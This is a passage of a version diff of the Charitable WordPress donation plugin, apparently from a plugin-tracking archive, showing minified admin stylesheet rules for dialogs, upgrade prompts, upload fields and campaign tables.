button.btn-confirm{background-color:#0399ed;border-color:#0399ed}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-blue button.btn-confirm:hover{background-color:#036aab;border-color:#036aab}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-green{border-top-color:#00a32a !important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-green .jconfirm-title-c .jconfirm-icon-c{color:#00a32a !important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-green button.btn-confirm{background-color:#00a32a;border-color:#00a32a}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-green button.btn-confirm:hover{background-color:#008a20;border-color:#008a20}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-purple{border-top-color:#7a30e2 !important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-purple .jconfirm-title-c .jconfirm-icon-c{color:#7a30e2 !important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-purple button.btn-confirm{background-color:#7a30e2;border-color:#7a30e2}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-purple button.btn-confirm:hover{background-color:#5c24a9;border-color:#5c24a9}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-closeIcon{color:transparent;font-family:FontAwesome;height:14px;opacity:1;right:10px;top:10px;width:14px}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-closeIcon:after{color:#bbbbbb;content:\"\\f00d\";font-size:16px;left:0;position:absolute;top:0}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-closeIcon:hover:after{color:#777777 !important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-title-c{margin:0 0 20px 0;padding:0;font-weight:600}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-title-c .jconfirm-icon-c{font-size:47px;margin:0;-ms-transform:none !important;transform:none !important;-webkit-transition:none !important;transition:none !important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-title-c .jconfirm-icon-c + .jconfirm-title{margin-top:20px}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-title-c .jconfirm-title{color:#444444;display:block;line-height:30px}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane{display:block;margin-bottom:20px}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content{color:#444444;font-size:16px;line-height:24px;margin-bottom:0;overflow:inherit}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content.lite-upgrade p{color:#777777;font-size:18px;padding:0 20px}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content p{font-size:inherit;line-height:inherit;margin:0 0 16px}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content p:last-of-type{margin:0}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content p.large{font-size:18px}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content p.small{font-size:14px}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content input[type=text],body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content input[type=number],body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content input[type=email],body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content input[type=url],body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content input[type=password],body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content input[type=search],body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content input[type=tel],body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content textarea,body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content select{margin:10px 2px;width:calc(100% - 4px)}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .already-purchased{display:block;grid-row:5;grid-column:1\u002F-1;color:#bbbbbb;font-size:14px;margin-top:15px;text-decoration:underline;text-align:center}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .already-purchased:hover{color:#777777;text-decoration:underline}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .discount-note{grid-row:4;grid-column:1\u002F-1;margin:25px 0 0 0;text-align:center}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .discount-note p{background-color:#fcf9e8;color:#777777;font-size:16px;margin:0 -30px;padding:22px 52px 12px 52px;position:relative}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .discount-note p:after{top:-16px;background-color:#ffffff;border-radius:50%;color:#00a32a;content:\"\\f058\";display:inline-block;font:normal normal normal 14px FontAwesome;font-size:26px;margin-right:-18px;padding:5px 6px;position:absolute;right:50%;text-rendering:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .discount-note span{color:#00a32a;font-weight:700}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .discount-note a{color:#777777;display:block;margin-top:12px}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .feature-video{margin:30px 0 0 0}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .pro-feature-video{margin:15px 0 10px 0}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box input[type=text]:not(.choices__input){display:block;width:99%;border:1px solid #d6d6d6;padding:10px !important;box-shadow:none;margin:10px 1px 1px 1px !important;line-height:1 !important;outline:0}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box input[type=text]:not(.choices__input):focus{border-color:#007cba;box-shadow:0 0 0 1px #007cba}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-buttons{margin-top:-10px}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-buttons button{min-width:83px;background:#f8f8f8;border:1px solid #cccccc;border-radius:4px;color:#777777;font-size:16px;font-weight:600;line-height:20px;outline:none;padding:11px 17px;text-transform:none;margin:10px;transition-property:all;transition-duration:0.15s;transition-timing-function:ease-out}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-buttons button:hover{background:#eeeeee;border-color:#cccccc}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-buttons button[disabled]{cursor:no-drop;pointer-events:none;opacity:0.25}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-buttons button.btn-confirm{color:#ffffff}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-buttons button.hidden + button{margin-left:0;margin-right:0}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-buttons button.btn-block{display:block;margin:0 0 10px 0 !important;text-align:center;width:100%}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-buttons button.btn-normal-case{text-transform:none !important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-buttons button i{margin:0 10px 0 0}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .error{color:#d63638;display:none}.charitable-report-table-container-wrapper{position:relative}.charitable-cta-lite-to-pro{max-width:1000px;border:1px solid #dadada;padding:0 !important;background-color:#fff;background-image:url(\"..\u002F..\u002Fimages\u002Flite-to-pro\u002Fcta.png\");background-size:100%;background-repeat:no-repeat;background-position:500px 0}.charitable-cta-lite-to-pro .charitable-cta-content{margin-top:40px !important;display:flex;flex-wrap:wrap;flex-direction:row;width:100%;justify-content:space-between;align-items:center;gap:50px}.charitable-cta-lite-to-pro .charitable-cta-content h5{font-size:20px;line-height:24px;font-weight:700;margin:0px 0 10px 0}.charitable-cta-lite-to-pro .charitable-cta-content > div{flex:1.5}.charitable-cta-lite-to-pro .charitable-cta-content > div:first-child{flex:1.5}.charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-content-left{padding:0px 25px 0px 25px}.charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-content-left .charitable-cta-list{margin:20px 0 0 0 !important}.charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-content-left .charitable-cta-list ul{display:flex;margin-bottom:20px !important;float:none !important;flex-direction:row;justify-content:space-between;align-items:center;flex-wrap:wrap;width:100% !important;padding:10px 0;gap:10px}.charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-content-left .charitable-cta-list ul li{margin:0 0 10px 0 !important;padding:0 0 0 30px !important;color:#555;font-size:13px;line-height:14px;position:relative;width:calc(50% - 40px)}.charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-content-left .charitable-cta-list ul li:before{content:\"✓\" !important;position:absolute;width:16px;height:16px;background:transparent;border:2px solid #218900;border-radius:50%;display:inline-flex;align-items:center;justify-content:center;color:#218900;font-size:10px;left:0;top:2px}.charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-content-left a.button-primary{background-color:#218900;color:#fff;border:none;font-weight:600;padding:15px 20px !important;border-radius:5px !important;line-height:normal !important;min-height:50px !important;height:50px !important}.charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-content-left a.button-primary:hover{background-color:#1a6d00}.charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-featured-image{display:flex}.charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-featured-image img{width:100%;height:120%;object-fit:cover;max-width:100%;border:1px solid #dadada}.charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-button-container{display:flex;justify-content:start;align-items:center;flex-direction:row;gap:20px}.charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-button-container p{color:#555}.charitable-cta-lite-to-pro.no-close-button .charitable-cta-content{margin-top:30px !important;margin-bottom:20px !important}body.charitable_page_charitable-reports .charitable-cta-lite-to-pro{max-width:100%;margin-left:auto;margin-right:auto;overflow:hidden;background-image:none !important}body.charitable_page_charitable-reports .charitable-cta-lite-to-pro .charitable-cta-content{padding-bottom:20px !important}body.charitable_page_charitable-reports .charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-content-left ul li:before{top:-1px !important}body.charitable_page_charitable-reports .charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-featured-image{display:none !important}body.charitable_page_charitable-addons .charitable-cta-lite-to-pro,body.charitable_page_charitable-dashboard .charitable-cta-lite-to-pro{max-width:1000px;overflow:hidden}body.charitable_page_charitable-addons .charitable-cta-lite-to-pro .charitable-cta-content,body.charitable_page_charitable-dashboard .charitable-cta-lite-to-pro .charitable-cta-content{justify-content:flex-start}body.charitable_page_charitable-addons .charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-content-left,body.charitable_page_charitable-dashboard .charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-content-left{margin-bottom:-10px !important}body.charitable_page_charitable-addons .charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-featured-image,body.charitable_page_charitable-dashboard .charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-featured-image{max-height:400px}body.charitable_page_charitable-addons .charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-featured-image img,body.charitable_page_charitable-dashboard .charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-featured-image img{max-height:100%}@media (max-width:1100px){.charitable-cta-lite-to-pro{background-image:none}.charitable-cta-lite-to-pro .charitable-cta-content{flex-direction:column}}#charitable-reports .reports-lite-cta{position:absolute !important;z-index:9999999;top:50%;left:0;right:0;transform:translateY(-50%);margin:25px 25px 125px 25px !important}#charitable-reports .dashboard-lite-cta{position:relative !important;margin:0 !important;transform:none !important}#charitable-reports .reports-lite-cta .list{margin:0 0 16px 0;overflow:auto;max-width:900px}#charitable-reports .reports-lite-cta .green{color:#218900;font-weight:600}#charitable-reports .reports-lite-cta .fa-star{color:#ff982d}#charitable-settings .settings-lite-cta ul li{margin:0;padding:0 0 2px 16px;color:#555;font-size:14px;position:relative}#charitable-settings .settings-lite-cta ul li:before{content:\"+\";position:absolute;top:-1px;left:0}#charitable-settings .settings-lite-cta .list{margin:0 0 16px 0;overflow:auto;max-width:900px}#charitable-settings .settings-lite-cta .green{color:#218900;font-weight:600}#charitable-settings .settings-lite-cta .fa-star{color:#ff982d}#charitable-settings .tablenav .tablenav-pages a,#charitable-settings .tablenav .tablenav-pages .tablenav-pages-navspan{min-width:28px;height:auto}.charitable-admin-wrap #charitable-settings .notice{margin-left:0 !important;margin-right:0 !important}select#charitable_settings_import_donations{margin-bottom:10px;width:100%}.form-table td p.top-label{margin-bottom:10px}th .badge,body.post-type-charitable .postbox h2 .badge{display:inline-block;padding:0.25em 0.4em;font-size:75%;font-weight:700;line-height:11px;text-align:center;white-space:nowrap;vertical-align:baseline;border-radius:0.25rem}th .badge.beta,body.post-type-charitable .postbox h2 .badge.beta{color:#fff;background-color:#007bff}.charitable-setting-dropdown-container,.charitable-setting-file-container{margin-bottom:10px;margin-top:5px}form.form-contains-file.charitable-import-campaign-donations-form{margin-top:5px}form.form-contains-file{margin-top:15px}form.form-contains-file input[type=file].charitable-settings-field{font-size:14px}.charitable-setting-file-container{display:flex;align-items:center;justify-content:flex-start;max-width:650px;margin-top:-5px}.charitable-setting-file-container input[type=file]{padding:4px;margin:-4px;position:relative;outline:none}.charitable-setting-file-container input[type=file]::file-selector-button{border-radius:4px;padding:0 16px;height:40px;cursor:pointer;background-color:white;border:1px solid rgba(0, 0, 0, 0.16);box-shadow:0px 1px 0px rgba(0, 0, 0, 0.05);margin-right:16px;width:132px;color:transparent}@supports (-moz-appearance:none){.charitable-setting-file-container input[type=file]::file-selector-button{color:#0964B0}}.charitable-setting-file-container input[type=file]::file-selector-button:hover{background-color:#f3f4f6}.charitable-setting-file-container input[type=file]::file-selector-button:active{background-color:#e5e7eb}.charitable-setting-file-container input[type=file]::before{position:absolute;pointer-events:none;top:11px;left:16px;height:20px;width:20px;content:\"\";background-image:url(\"data:image\u002Fsvg+xml,%3Csvg xmlns='http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg' viewBox='0 0 24 24' fill='%230964B0'%3E%3Cpath d='M18 15v3H6v-3H4v3c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-3h-2zM7 9l1.41 1.41L11 7.83V16h2V7.83l2.59 2.58L17 9l-5-5-5 5z'\u002F%3E%3C\u002Fsvg%3E\")}.charitable-setting-file-container input[type=file]::after{position:absolute;pointer-events:none;top:10px;left:43px;color:#0964B0;content:\"Upload File\"}.charitable-setting-file-container input[type=file]:focus-within::file-selector-button,.charitable-setting-file-container input[type=file]:focus::file-selector-button{outline:2px solid #0964B0;outline-offset:2px}table.charitable-donor-history-table td p{margin:0}body.charitable-admin-reports-dashboard #charitable-reports .reports-lite-cta,body.charitable-admin-settings #charitable-settings .settings-lite-cta{position:relative !important;top:0;transform:none !important;margin-left:0 !important}#charitable-reports .reports-lite-cta .dismiss,#charitable-settings .settings-lite-cta .dismiss{position:absolute;top:10px;right:10px;color:#666;font-size:16px;text-decoration:none}#charitable-reports .reports-lite-cta h5,#charitable-settings .settings-lite-cta h5{margin:0 0 16px;font-size:18px;font-weight:600;line-height:24px}#charitable-reports .reports-lite-cta h6,#charitable-settings .settings-lite-cta h6{font-weight:700;font-size:14px;margin:0 0 16px}#charitable-reports .reports-lite-cta p,#charitable-settings .settings-lite-cta p{color:#555;font-size:14px;margin:0 0 16px}#charitable-reports .reports-lite-cta p:last-of-type,#charitable-settings .settings-lite-cta p:last-of-type{margin:0}#charitable-reports .reports-lite-cta p a,#charitable-settings .settings-lite-cta p a{color:#e27730}#charitable-reports .reports-lite-cta p a:hover,#charitable-settings .settings-lite-cta p a:hover{color:#b85a1b}#charitable-reports .reports-lite-cta ul,#charitable-settings .settings-lite-cta ul{margin:0;padding:0;width:50%;float:left}\n\\ No newline at end of file\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fassets\u002Fcss\u002Fadmin\u002Fcharitable-admin.min.css \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fassets\u002Fcss\u002Fadmin\u002Fcharitable-admin.min.css\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fassets\u002Fcss\u002Fadmin\u002Fcharitable-admin.min.css\t2026-03-26 17:00:52.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fassets\u002Fcss\u002Fadmin\u002Fcharitable-admin.min.css\t2026-05-11 23:16:48.000000000 +0000\n@@ -1 +1 @@\n-@charset \"UTF-8\";@import url(https:\u002F\u002Ffonts.googleapis.com\u002Fcss2?family=Inter:wght@400;500;600;800&display=swap);.charitable-toggle-control{display:block;margin:6px 1px 5px 0}.charitable-toggle-control input[type=checkbox]{display:none;height:0;width:0}.charitable-toggle-control input[type=checkbox]:checked+label.charitable-toggle-control-icon{background-color:#036aab}.charitable-toggle-control input[type=checkbox]:checked+label.charitable-toggle-control-icon:after{left:calc(100% - 15px - 2px)}.charitable-toggle-control label,.charitable-toggle-control span{display:inline-block;margin-bottom:0;margin-left:5px}.charitable-toggle-control label{cursor:pointer}.charitable-toggle-control .charitable-toggle-control-label{margin:0 0 0 6px;max-width:calc(100% - 65px)}.charitable-toggle-control .charitable-toggle-control-label:hover{cursor:pointer}.charitable-toggle-control .charitable-toggle-control-status{color:#86919e;font-size:12px;line-height:14px;margin:2px 5px}.charitable-toggle-control .charitable-toggle-control-icon{background-color:#bbb;border-radius:8.5px;cursor:pointer;display:inline-block;height:17px;margin:0 1px;position:relative;text-indent:-9999px;width:32px}.charitable-toggle-control .charitable-toggle-control-icon:after{background:#fff;border-radius:50%;content:\"\";height:15px;left:2px;position:absolute;top:1px;width:15px;transition-property:all;transition-duration:.25s;transition-timing-function:ease-out}.charitable-toggle-control:hover input:checked+label.charitable-toggle-control-icon{background-color:#215d8f}.charitable-toggle-control:hover .charitable-toggle-control-icon{background-color:#777}.charitable-group.charitable-layout-options-tab-group .charitable-toggle-control-icon{margin:-4px 1px}.charitable-panel-sidebar .charitable-toggle-control .charitable-toggle-control-icon{background-color:#b0b6bd}.charitable-panel-sidebar .charitable-toggle-control:hover .charitable-toggle-control-icon{background-color:#86919e}.charitable-panel-sidebar .charitable-toggle-control.charitable-field-option-in-label-right .charitable-toggle-control-label{color:#86919e;font-size:12px;line-height:14px;margin:2px 5px;max-width:initial}body.post-type-charitable #wpbody-content .wrap,body.post-type-donation #wpbody-content .wrap,body[class*=charitable_page_] #wpbody-content .wrap{padding-left:10px;padding-right:10px}body.charitable_page_charitable-addons #wpbody-content .wrap{padding-left:5px;padding-right:5px}#charitable-admin-header{background-color:#fff;margin:0 0 0 -20px;padding-right:20px;width:100%;border-top:3px solid #e89940;border-bottom:1px solid #ddd;border-left:0;border-right:0}[dir=rtl] #charitable-admin-header{margin:0 -20px 0 0}#charitable-admin-header .charitable-admin-header-interior{padding:0 30px;display:flex;justify-content:center;align-items:center;min-height:80px}#charitable-admin-header h1{flex:1;text-align:left}[dir=rtl] #charitable-admin-header h1{text-align:right}#charitable-admin-header .round{border-radius:50%;width:40px;height:40px;display:flex;align-items:center;justify-content:center;cursor:pointer;transition:background-color .2s ease;animation:wpchar-menu-notification-indicator-pulse 1.5s infinite}#charitable-admin-header .charitable-header-logos{text-align:right}#charitable-admin-header .charitable-header-logos ul{margin:0 -20px 0 0;padding:0;display:flex}#charitable-admin-header .charitable-header-logos ul li{margin:0 10px;display:inline-block;width:30px;height:30px}#charitable-admin-header .charitable-header-logos ul li a{display:block}#charitable-admin-header .charitable-header-logos ul li a.charitable-notification-inbox{position:relative}#charitable-admin-header .charitable-header-logos ul li a.charitable-notification-inbox svg{width:30px;height:34.5px;margin:0;padding:0;position:relative;top:-4px;color:#8c8e96}#charitable-admin-header .charitable-header-logos ul li a.charitable-notification-inbox .number{position:absolute;background-color:#df2a4a;width:16px;height:16px;font-weight:600;font-size:10px;color:#fff;right:-3px;top:-5px;margin:0;margin-left:0;animation:wpchar-bounce-in 1.2s 5;z-index:2}#charitable-admin-header .charitable-header-logos ul li a:hover{opacity:.5}@keyframes wpchar-bounce-in{0%,100%,30%,50%,80%{transform:translateY(0);opacity:1}40%{transform:translateY(-10px)}60%{transform:translateY(-5px)}}body.post-type-campaign #posts-filter button,body.post-type-campaign #posts-filter input,body.post-type-campaign #posts-filter select,body.post-type-campaign #posts-filter textarea{font-family:Inter,sans-serif!important}body.post-type-campaign table{border-color:#ddd}body.post-type-campaign table tfoot th a,body.post-type-campaign table thead th a{color:#6a6c77;font-weight:500}body.post-type-campaign table tfoot td,body.post-type-campaign table tfoot th,body.post-type-campaign table thead td,body.post-type-campaign table thead th{border-color:#ddd}body.post-type-campaign table td.title{font-weight:400;padding-right:50px}body.post-type-campaign table td.title a{font-weight:400}body.post-type-campaign h1{font-family:Inter,sans-serif;font-weight:500}body.post-type-campaign h1.wp-heading-inline{font-size:21px;margin-right:10px;margin-bottom:5px;margin-top:20px}body.post-type-campaign #screen-meta-links{display:none}body.post-type-campaign.edit-tags-php p.search-box{position:relative;right:0;bottom:0;margin-top:20px;display:none}body.post-type-campaign.edit-tags-php span.subtitle{padding:0;margin:25px 0 0 0;display:block;width:100%}body.post-type-campaign #input.button,body.post-type-campaign input#search-submit,body.post-type-campaign select{background-color:#f9f9fa;color:#52545f;border-color:#e4e4e7;height:38px;padding-top:0;padding-bottom:0}body.post-type-campaign form#posts-filter .tablenav{font-family:Inter,sans-serif}body.post-type-campaign form#posts-filter .tablenav select{min-width:160px}body.post-type-campaign form#posts-filter .tablenav.top{margin-bottom:20px}body.post-type-campaign form#posts-filter .tablenav.top button,body.post-type-campaign form#posts-filter .tablenav.top select{font-size:13px;line-height:29px;font-weight:500}body.post-type-campaign form#posts-filter .tablenav.top button{padding:0 15px}body.post-type-campaign form#posts-filter .tablenav.bottom{margin-top:25px}body.post-type-campaign form#posts-filter .tablenav.bottom button,body.post-type-campaign form#posts-filter .tablenav.bottom select{font-size:13px;line-height:29px;font-weight:500}body.post-type-campaign form#posts-filter .tablenav.bottom button{padding:0 15px}body.post-type-campaign .charitable-campaign-export-actions,body.post-type-campaign .charitable-campaign-filter-actions,body.post-type-campaign .charitable-campaign-legacy-actions{font-family:Inter,sans-serif}body.post-type-campaign .charitable-campaign-export-actions a,body.post-type-campaign .charitable-campaign-filter-actions a,body.post-type-campaign .charitable-campaign-legacy-actions a{font-size:14px;pointer-events:all;line-height:19px;color:#2b66d1;font-weight:500;display:inline-block;padding-top:8px}body.post-type-campaign .charitable-campaign-export-actions a label,body.post-type-campaign .charitable-campaign-filter-actions a label,body.post-type-campaign .charitable-campaign-legacy-actions a label{display:block;text-decoration:underline;float:left;margin-top:-2px;cursor:pointer}body.post-type-campaign .charitable-campaign-export-actions a img,body.post-type-campaign .charitable-campaign-filter-actions a img,body.post-type-campaign .charitable-campaign-legacy-actions a img{width:16px;height:16px;display:block;margin-right:4px;float:left}body.post-type-campaign .charitable-campaign-export-actions a.charitable-campaigns-clear,body.post-type-campaign .charitable-campaign-filter-actions a.charitable-campaigns-clear,body.post-type-campaign .charitable-campaign-legacy-actions a.charitable-campaigns-clear{font-weight:400;padding:5px 15px;margin:0 0 0 5px}body.post-type-campaign .charitable-campaign-legacy-actions a img{width:33px;height:32px;display:block;float:left;margin:2px -2px 0 -5px}body.post-type-campaign .charitable-campaign-filter-actions{margin-right:10px}body.post-type-campaign .charitable-campaign-filter-actions a img{width:11px;height:11px;margin-top:2px}body.post-type-campaign .charitable-legacy-actions{margin-left:10px;margin-top:3px}body.post-type-campaign input#post-search-input{border-color:#e4e4e7}body.post-type-campaign .jconfirm .jconfirm-cell{display:block}body.post-type-campaign.edit-php.post-type-campaign th.check-column label:hover{background-color:transparent}body.post-type-campaign.edit-php.post-type-campaign .check-column input:hover+label{background-color:transparent}body.post-type-campaign.edit-php.post-type-campaign tbody#the-list td{vertical-align:middle}body.post-type-campaign.edit-php.post-type-campaign .actions{vertical-align:middle}body.post-type-campaign.edit-php.post-type-campaign .actions button{font-size:18px;border-radius:0;box-shadow:none;border:1px solid #ccc;background-color:transparent;margin:0 5px 0 0}body.post-type-campaign.edit-php.post-type-campaign tbody#the-list th.check-column input[type=checkbox]{margin-top:3px}body.post-type-campaign.edit-php.post-type-campaign tbody#the-list td,body.post-type-campaign.edit-php.post-type-campaign tbody#the-list th.check-column{vertical-align:top;padding-top:20px;height:80px}body.post-type-campaign.edit-php.post-type-campaign tbody#the-list td.column-actions{padding-top:19px}body.post-type-campaign.edit-php.post-type-campaign tbody#the-list td.column-creator .charitable-campaign-creator-avatar{border-radius:50%;max-width:25px;max-height:25px;float:left}body.post-type-campaign.edit-php.post-type-campaign tbody#the-list td.column-creator .charitable-campaign-creator-name{display:inline-block;margin-left:10px;margin-top:2px}body.post-type-campaign.edit-php.post-type-campaign .donated .meter{height:10px;position:relative;background:#d3d3d3;padding:0;margin:10px auto 0 0;width:75%;box-shadow:inset 0 -1px 1px rgba(255,255,255,.3)}body.post-type-campaign.edit-php.post-type-campaign .donated .meter>span{display:block;height:100%;border-top-right-radius:8px;border-bottom-right-radius:8px;border-top-left-radius:20px;border-bottom-left-radius:20px;background-color:#00a32a;background-image:linear-gradient(center bottom,#2bc253 37%,#54f054 69%);box-shadow:inset 0 2px 9px rgba(255,255,255,.3),inset 0 -2px 6px rgba(0,0,0,.4);position:relative;overflow:hidden}body.post-type-campaign.edit-php.post-type-campaign .column-status mark{padding:0 0;margin:0;text-align:center;white-space:nowrap;background:#fff;border-radius:0;font-size:14px;font-weight:400;letter-spacing:1px;text-transform:capitalize;color:#2d2d2d}body.post-type-campaign.edit-php.post-type-campaign .column-status mark.active{color:#00a32a;background-color:transparent}body.post-type-campaign.edit-php.post-type-campaign .column-status mark.draft{color:#545660;background-color:transparent}body.post-type-campaign.edit-php.post-type-campaign .column-status mark.finished{color:#215d8f;background-color:transparent}body.post-type-campaign.edit-php.post-type-campaign .column-status mark.successful{color:#215d8f;background-color:transparent}body.post-type-campaign.edit-php.post-type-campaign .column-status mark.unsuccessful{color:#d63638;background-color:transparent}body.post-type-campaign.edit-php.post-type-campaign .tablenav.top>.tablenav-pages{display:none}body.post-type-campaign #wpbody-content .page-title-action{background-color:#5aa152;border-radius:5px;border-color:#5aa152;color:#fff;height:28px;display:inline-block;padding-top:0;padding-bottom:0;line-height:26px;top:-2px}body.post-type-campaign #wpbody-content .page-title-action:hover{background-color:#3f7539}body.post-type-campaign.charitable-trash .charitable-export-actions{display:none}body.post-type-campaign.charitable-trash #delete_all{margin-top:0!important;background-color:#f8f8f9;border:1px solid #d7d7db;border-radius:5px;box-shadow:none;color:#5c5f6a;font-weight:600!important}@media screen and (max-width:1200px){body.post-type-campaign form#posts-filter .tablenav.top{max-width:500px;display:table}body.post-type-campaign form#posts-filter .tablenav.top select{margin-bottom:15px}}@media screen and (max-width:782px){body.post-type-campaign .tablenav .view-switch,body.post-type-campaign .tablenav.top .actions{display:block!important}body.post-type-campaign p.search-box{position:relative;margin:0;right:auto;top:auto}body.post-type-campaign.admin-bar #charitable-admin-header{margin-top:46px}body.charitable_page_charitable-about #wpbody,body.charitable_page_charitable-reports #wpbody,body.charitable_page_charitable-tools #wpbody{padding-top:0}body.charitable_page_charitable-about .wp-list-table tr:not(.inline-edit-row):not(.no-items) td:not(.column-primary)::before,body.charitable_page_charitable-reports .wp-list-table tr:not(.inline-edit-row):not(.no-items) td:not(.column-primary)::before,body.charitable_page_charitable-tools .wp-list-table tr:not(.inline-edit-row):not(.no-items) td:not(.column-primary)::before{display:none}body.charitable_page_charitable-about .tablenav .view-switch,body.charitable_page_charitable-about .tablenav.top .actions,body.charitable_page_charitable-reports .tablenav .view-switch,body.charitable_page_charitable-reports .tablenav.top .actions,body.charitable_page_charitable-tools .tablenav .view-switch,body.charitable_page_charitable-tools .tablenav.top .actions{display:block!important}body.charitable_page_charitable-about h2.nav-tab-wrapper,body.charitable_page_charitable-reports h2.nav-tab-wrapper,body.charitable_page_charitable-tools h2.nav-tab-wrapper{margin-bottom:0!important;margin-top:0!important}body.charitable_page_charitable-about h2.nav-tab-wrapper a.nav-tab,body.charitable_page_charitable-reports h2.nav-tab-wrapper a.nav-tab,body.charitable_page_charitable-tools h2.nav-tab-wrapper a.nav-tab{margin-top:10px!important;margin-bottom:10px!important}body.charitable_page_charitable-about.admin-bar #charitable-admin-header,body.charitable_page_charitable-reports.admin-bar #charitable-admin-header,body.charitable_page_charitable-tools.admin-bar 